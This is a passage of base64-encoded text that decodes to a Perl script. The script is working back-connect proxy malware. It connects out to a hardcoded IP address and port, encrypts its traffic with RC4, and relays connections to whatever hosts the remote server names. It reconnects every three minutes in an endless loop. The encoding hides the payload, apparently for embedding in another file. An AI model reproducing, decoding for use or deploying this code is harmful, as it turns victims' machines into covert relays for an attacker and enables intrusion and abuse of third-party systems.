sIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODInOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmV